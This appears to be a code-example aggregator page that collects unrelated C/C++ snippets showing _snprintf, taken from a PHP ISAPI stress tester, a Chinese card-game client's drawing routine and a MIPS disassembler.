	if (fp && ft && fe) {
		while (fgets(line, sizeof(line)-1, fp)) {
			if (line[0]=='-') {
				if (_strnicmp(line, "--TEST--", 8)==0) {
					parsestate = test;
					continue;
				} else if (_strnicmp(line, "--SKIPIF--", 10)==0) {
					parsestate = skipif;
					continue;
				} else if (_strnicmp(line, "--POST--", 8)==0) {
					parsestate = post;
					continue;
				} else if (_strnicmp(line, "--GET--", 7)==0) {
					parsestate = get;
					continue;
				} else if (_strnicmp(line, "--FILE--", 8)==0) {
					parsestate = file;
					continue;
				} else if (_strnicmp(line, "--EXPECT--", 10)==0) {
					parsestate = expect;
					continue;
				}
			}
			switch (parsestate) {
			case test:
				stripcrlf(line);
				cTest = line;
				break;
			case skipif:
				cSkipIf += line;
				break;
			case post:
				cPost += line;
				break;
			case get:
				cGet += line;
				break;
			case file:
				fputs(line, ft);
				break;
			case expect:
				fputs(line, fe);
				break;
			}
		}		

		fclose(fp);
		fclose(ft);
		fclose(fe);

		if (!cTest.IsEmpty()) {
			IsapiFileList.Add(tn);
			TestNames.Add(cTest);
			IsapiGetData.Add(cGet);
			IsapiPostData.Add(cPost);
			IsapiMatchData.Add(en);
			free(tn);
			free(en);
			return TRUE;
		}
	}
	free(tn);
	free(en);
	return FALSE;
}
コード例 #28
0
//绘画界面
void CGameClientView::DrawGameView(CDC * pDC, int nWidth, int nHeight)
{
	//绘画背景
	DrawViewImage(pDC,m_ImageFill,enMode_Spread);
	DrawViewImage(pDC,m_ImageBack,enMode_Centent);

	
	//绘画用户
	TCHAR szBuffer[32];
	for (WORD i=0;i<GAME_PLAYER;i++)
	{
		//变量定义
		WORD wUserTimer=GetUserTimer(i);
		const tagUserData * pUserData=GetUserInfo(i);

		///////////////////////////////////////////////
		////test
//		WORD wUserTimer = 30;
//		tagUserData *pUserData = new tagUserData;
//		lstrcpy(pUserData->szName,TEXT("测试玩家"));
//		pUserData->lScore = 10000L;
//		pUserData->cbUserStatus = US_PLAY;
//		m_wLandUser=1;
//		m_bOutBombCount[1]=2;
//		m_bMaxBombCountShow=1;
//		m_bScore[i]=1;
//		m_bPass[i]=true;
//		m_bCardCount[i]=30;
		///////////////////////////////////////////////

		//绘画用户
		if (pUserData!=NULL)
		{
			//用户名字
			pDC->SetTextColor((wUserTimer>0)?RGB(250,250,250):RGB(220,220,220));
			pDC->SetTextAlign(((i==1)&&(m_bDeasilOrder==true))||((i==3)&&(m_bDeasilOrder==false))?TA_RIGHT:TA_LEFT);
			pDC->TextOut(m_ptName[i].x,m_ptName[i].y,pUserData->szName,lstrlen(pUserData->szName));

			//剩余扑克
			if (pUserData->cbUserStatus>=US_PLAY)
			{
				_snprintf(szBuffer,sizeof(szBuffer),TEXT("(%ld 张)"),m_bCardCount[i]);
				
				if(i==0)	pDC->TextOut(m_ptName[i].x,m_ptName[i].y+20,szBuffer,lstrlen(szBuffer));
				if(i==1)	
				{
#ifdef VIDEO_GAME
					pDC->TextOut(m_ptName[i].x+5,m_ptName[i].y-20,szBuffer,lstrlen(szBuffer));
#else
					pDC->TextOut(m_ptName[i].x+5,m_ptName[i].y+15,szBuffer,lstrlen(szBuffer));
#endif
				}
				if(i==2)	pDC->TextOut(m_ptName[i].x,m_ptName[i].y-20,szBuffer,lstrlen(szBuffer));
				if(i==3)	
				{
#ifdef VIDEO_GAME
					pDC->TextOut(m_ptName[i].x+5,m_ptName[i].y-20,szBuffer,lstrlen(szBuffer));
#else
					pDC->TextOut(m_ptName[i].x,m_ptName[i].y+15,szBuffer,lstrlen(szBuffer));
#endif
				}

				if(m_bMaxBombCountShow)
				{
					//if(i==2 || i== 0){
					if(m_bMaxBombCount[i] !=255){

						//_snprintf(szBuffer,sizeof(szBuffer),TEXT("%s(可以出%ld个炸弹)"),szBuffer, m_bMaxBombCount[i]);
						//炸弹标志
						CImageHandle ImageHandle(&m_ImageBomb);
						m_ImageBomb.AlphaDrawImage(pDC,m_ptBomb[i].x,m_ptBomb[i].y,RGB(255,0,255));

						//设置 DC
						pDC->SetTextColor(RGB(255,255,0));
						pDC->SetTextAlign(TA_LEFT|TA_TOP);

						//炸弹倍数
						TCHAR szBuffer[8];
						_snprintf(szBuffer,sizeof(szBuffer),TEXT("%d"),m_bMaxBombCount[i]-m_bOutBombCount[i]);
						pDC->TextOut(m_ptBomb[i].x+30,m_ptBomb[i].y+10,szBuffer,lstrlen(szBuffer));
					}
					//} 
				}

				//if(m_bMaxBombCountShow){
				//	if(i==1 || i ==3){
				//		if(m_bMaxBombCount[i] ==255){
				//			_snprintf(szBuffer,sizeof(szBuffer),TEXT("(可以"));
				//		} else{
				//			_snprintf(szBuffer,sizeof(szBuffer),TEXT("(可以") );
				//		}
				//		pDC->TextOut(m_ptName[i].x,m_ptName[i].y+18+18,szBuffer,lstrlen(szBuffer));
				//		if(m_bMaxBombCount[i] ==255){
				//			_snprintf(szBuffer,sizeof(szBuffer),TEXT("任意出"));
				//		} else{
				//			_snprintf(szBuffer,sizeof(szBuffer),TEXT("(出%ld个"), m_bMaxBombCount[i]);
				//		}
				//		pDC->TextOut(m_ptName[i].x,m_ptName[i].y+18+18+18,szBuffer,lstrlen(szBuffer));
				//		if(m_bMaxBombCount[i] ==255){
				//			_snprintf(szBuffer,sizeof(szBuffer),TEXT("炸弹)"));
				//		} else{
				//			_snprintf(szBuffer,sizeof(szBuffer),TEXT("炸弹)"));
				//		}
				//		pDC->TextOut(m_ptName[i].x,m_ptName[i].y+18+18+18+18,szBuffer,lstrlen(szBuffer));
				//	}
				//}
			}


			//其他信息
			if (wUserTimer!=0) DrawUserTimer(pDC,m_ptTimer[i].x,m_ptTimer[i].y,wUserTimer);
			if (pUserData->cbUserStatus==US_READY) DrawUserReady(pDC,m_ptReady[i].x,m_ptReady[i].y);
			DrawUserFace(pDC,pUserData,m_ptFace[i].x,m_ptFace[i].y,pUserData->cbUserStatus==US_OFFLINE);
		}
		
	}

	//叫分标志
	CPngImage ImageScore;
	ImageScore.LoadImage(AfxGetInstanceHandle(),TEXT("SCORE"));
	int nXImagePos,nImageWidth=ImageScore.GetWidth(),nImageHeight=ImageScore.GetHeight();
	for (WORD i=0;i<GAME_PLAYER;i++)
	{
		if ((m_bScore[i]!=0))
		{
			if ((m_bPass[i]==true)||(m_bScore[i]==255)) nXImagePos=ImageScore.GetWidth()*3/5;
			else nXImagePos=(m_bScore[i]-1)*ImageScore.GetWidth()/5;
			ImageScore.DrawImage(pDC,m_ptScore[i].x,m_ptScore[i].y,nImageWidth/5,nImageHeight,nXImagePos,0);
		}
		if(m_bPass[i]==true)
		{
			if ((m_bPass[i]==true)||(m_bScore[i]==255)) nXImagePos=ImageScore.GetWidth()*4/5;
			else nXImagePos=(m_bScore[i]-1)*ImageScore.GetWidth()/5;
			ImageScore.DrawImage(pDC,m_ptScore[i].x,m_ptScore[i].y,nImageWidth/5,nImageHeight,nXImagePos,0);	
		}
	}

	//test
	//tagUserData *pUserData = new tagUserData;
	//lstrcpy(pUserData->szName,TEXT("测试玩家"));
	//pUserData->lScore = 10000L;
	//pUserData->cbUserStatus = US_READY;


	//庄家位置
	if (m_wLandUser!=INVALID_CHAIR)
	{
		//获取用户
		const tagUserData * pUserData=GetUserInfo(m_wLandUser);
		if (pUserData!=NULL)
		{
			//变量定义
			TCHAR szBuffer[64];
			CPngImage ImageLand;
			ImageLand.LoadImage(AfxGetInstanceHandle(),TEXT("BANKER"));

			//设置 DC
			pDC->SetTextAlign(TA_LEFT|TA_TOP);
			pDC->SetTextColor(RGB(250,250,250));

			//绘画信息
			ImageLand.DrawImage(pDC,m_ptLand[m_wLandUser].x,m_ptLand[m_wLandUser].y);
			_snprintf(szBuffer,sizeof(szBuffer),TEXT("地主:%s"),pUserData->szName);
			pDC->TextOut(m_nXBorder+m_nXFace+10,m_nYBorder+8,szBuffer,lstrlen(szBuffer));
			_snprintf(szBuffer,sizeof(szBuffer),TEXT("倍数:%d 倍"),m_cbLandScore);
			pDC->TextOut(m_nXBorder+m_nXFace+10,m_nYBorder+25,szBuffer,lstrlen(szBuffer));
			DrawUserFace(pDC,pUserData,m_nXBorder+5,m_nYBorder+5,false);
		}
	}

	//炸弹倍数
	//if (m_wBombTime>1)
	//{
	//	//炸弹标志
	//	CImageHandle ImageHandle(&m_ImageBomb);
	//	m_ImageBomb.AlphaDrawImage(pDC,m_nXBorder+5,nHeight-m_nYBorder-m_ImageBomb.GetHeight()-5,RGB(255,0,255));

	//	//设置 DC
	//	pDC->SetTextColor(RGB(250,250,250));
	//	pDC->SetTextAlign(TA_LEFT|TA_TOP);

	//	//炸弹倍数
	//	TCHAR szBuffer[64];
	//	_snprintf(szBuffer,sizeof(szBuffer),TEXT("已出炸弹:%d"),m_wBombTime);
	//	pDC->TextOut(m_nXBorder+m_ImageBomb.GetWidth()+10,nHeight-m_nYBorder-20,szBuffer,lstrlen(szBuffer));
	//}

	//描述信息
	if (m_bLandTitle==true)
	{
		//创建资源
		CFont InfoFont;
		InfoFont.CreateFont(-36,0,0,0,400,0,0,0,134,3,2,1,2,TEXT("黑体"));

		//设置 DC
		pDC->SetTextColor(RGB(201,229,133));
		pDC->SetTextAlign(TA_CENTER|TA_TOP);
		CFont * pOldFont=pDC->SelectObject(&InfoFont);

		//绘画信息
		pDC->TextOut(nWidth/2,200,"正等待用户叫分");

		//清理资源
		pDC->SelectObject(pOldFont);
		InfoFont.DeleteObject();
	}

	return;
}
コード例 #29
0
ファイル: stresstest.cpp プロジェクト: kennyb/php-broken
/*
 * ======================================================================= *
 * In the startup of this program, we look at our executable name and      *
 * replace the ".EXE" with ".DLL" to find the ISAPI DLL we need to load.   *
 * This means that the executable need only be given the same "name" as    *
 * the DLL to load. There is no recompilation required.                    *
 * ======================================================================= *
*/
BOOL stress_main(const char *filename, 
				const char *arg, 
				const char *postdata,
				const char *matchdata) 
{

	EXTENSION_CONTROL_BLOCK ECB;
	DWORD rc;
	TIsapiContext context;

	// open output and input files
	context.tid = GetCurrentThreadId();
	CString fname;
	fname.Format("%08X.out", context.tid);

	context.out = CreateFile(fname, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL);
	if (context.out==INVALID_HANDLE_VALUE) {
		printf("failed to open output file %s\n", fname);
		return 0;
	}

	// not using post files
	context.in = INVALID_HANDLE_VALUE;

	//
	// Fill the ECB with the necessary information
	//
	if (!FillExtensionControlBlock(&ECB, &context) ) {
		fprintf(stderr,"Fill Ext Block Failed\n");
		return -1;
	}
	
	// check for command line argument, 
	// first arg = filename
	// this is added for testing php from command line

	context.env.RemoveAll();
	context.env["PATH_TRANSLATED"]= filename;
	context.env["SCRIPT_MAP"]= filename;
	context.env["CONTENT_TYPE"]= "";
	context.env["CONTENT_LENGTH"]= "";
	context.env["QUERY_STRING"]= arg;
	context.env["METHOD"]="GET";
	context.env["PATH_INFO"] = "";
	context.waitEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
	char buf[MAX_PATH];
	if (postdata && *postdata !=0) {
		ECB.cbAvailable = strlen(postdata);
		ECB.cbTotalBytes = ECB.cbAvailable;
		ECB.lpbData = (unsigned char *)postdata;
		context.env["METHOD"]="POST";

		_snprintf(buf, sizeof(buf)-1, "%d", ECB.cbTotalBytes);
		context.env["CONTENT_LENGTH"]=buf;

		context.env["CONTENT_TYPE"]="application/x-www-form-urlencoded";
	}
	ECB.lpszMethod = strdup(context.env["METHOD"]);
    ECB.lpszPathTranslated = strdup(filename);
	ECB.lpszQueryString = strdup(arg);
	ECB.lpszPathInfo = strdup(context.env["PATH_INFO"]);


	// Call the DLL
	//
	rc = IsapiHttpExtensionProc(&ECB);
	if (rc == HSE_STATUS_PENDING) {
		// We will exit in ServerSupportFunction
		WaitForSingleObject(context.waitEvent, INFINITE);
	}
	CloseHandle(context.waitEvent);
	//Sleep(75);
	free(ECB.lpszPathTranslated);
	free(ECB.lpszQueryString);
	free(ECB.lpszMethod);
	free(ECB.lpszPathInfo);

	BOOL ok = TRUE;

	if (context.out != INVALID_HANDLE_VALUE) CloseHandle(context.out);

	// compare the output with the EXPECT section
	if (matchdata && *matchdata != 0) {
		ok = CompareFiles(fname, matchdata);
	}

	DeleteFile(fname);

	return ok;
		
}
コード例 #30
0
ファイル: dis.cpp プロジェクト: RetroAchievements/RASuite
std::string DisassembleMIPS(u32 PC, u32 instr)
{
 std::string ret = "UNKNOWN";
 unsigned int rs = (instr >> 21) & 0x1F;
 unsigned int rt = (instr >> 16) & 0x1F;
 unsigned int rd = (instr >> 11) & 0x1F;
 unsigned int shamt = (instr >> 6) & 0x1F;
 unsigned int immediate = (s32)(s16)(instr & 0xFFFF);
 unsigned int immediate_ze = (instr & 0xFFFF);
 unsigned int jt = instr & ((1 << 26) - 1);

 static const char *gpr_names[32] =
 {
  "r0", "at", "v0", "v1", "a0", "a1", "a2", "a3", "t0", "t1", "t2", "t3", "t4", "t5", "t6", "t7",
    "s0", "s1", "s2", "s3", "s4", "s5", "s6", "s7", "t8", "t9", "k0", "k1", "gp", "sp", "fp", "ra"
 };

 OpEntry *op = ops;

 while(op->mnemonic)
 {
  if((instr & op->mask) == op->value)
  {
   // a = shift amount
   // s = rs
   // t = rt
   // d = rd
   // i = immediate
   // z = immediate, zero-extended
   // p = PC + 4 + immediate
   // P = ((PC + 4) & 0xF0000000) | (26bitval << 2)
   char s_a[16];
   char s_i[16];
   char s_z[16];
   char s_p[16];
   char s_P[16];
	 char s_D[16];

	_snprintf(s_D, sizeof(s_D), "%d", rd);

   _snprintf(s_a, sizeof(s_a), "%d", shamt);

   if(immediate < 0)
    _snprintf(s_i, sizeof(s_i), "%d", immediate);
   else
    _snprintf(s_i, sizeof(s_i), "0x%04x", (u32)immediate);

   _snprintf(s_z, sizeof(s_z), "0x%04x", immediate_ze);

   _snprintf(s_p, sizeof(s_p), "0x%08x", PC + 4 + (immediate << 2));

   _snprintf(s_P, sizeof(s_P), "0x%08x", ((PC + 4) & 0xF0000000) | (jt << 2));

   ret = std::string(op->mnemonic);
   ret.append(10 - ret.size(), ' ');

   for(unsigned int i = 0; i < strlen(op->format); i++)
   {
    switch(op->format[i])
    {
     case 'a':
	ret.append(s_a);
	break;

     case 'i':
	ret.append(s_i);
	break;

     case 'z':
	ret.append(s_z);
	break;

     case 'p':
	ret.append(s_p);
	break;

     case 'P':
	ret.append(s_P);
	break;

     case 's':
	ret.append(gpr_names[rs]);
	break;

     case 't':
	ret.append(gpr_names[rt]);
	break;

    case 'd':
	ret.append(gpr_names[rd]);
	break;

		case 'D':
			ret.append(s_D);
			break;

     default:
	ret.append(1, op->format[i]);
	break;
    }
   }
   break;
  }
  op++;
 }

 return(ret);
}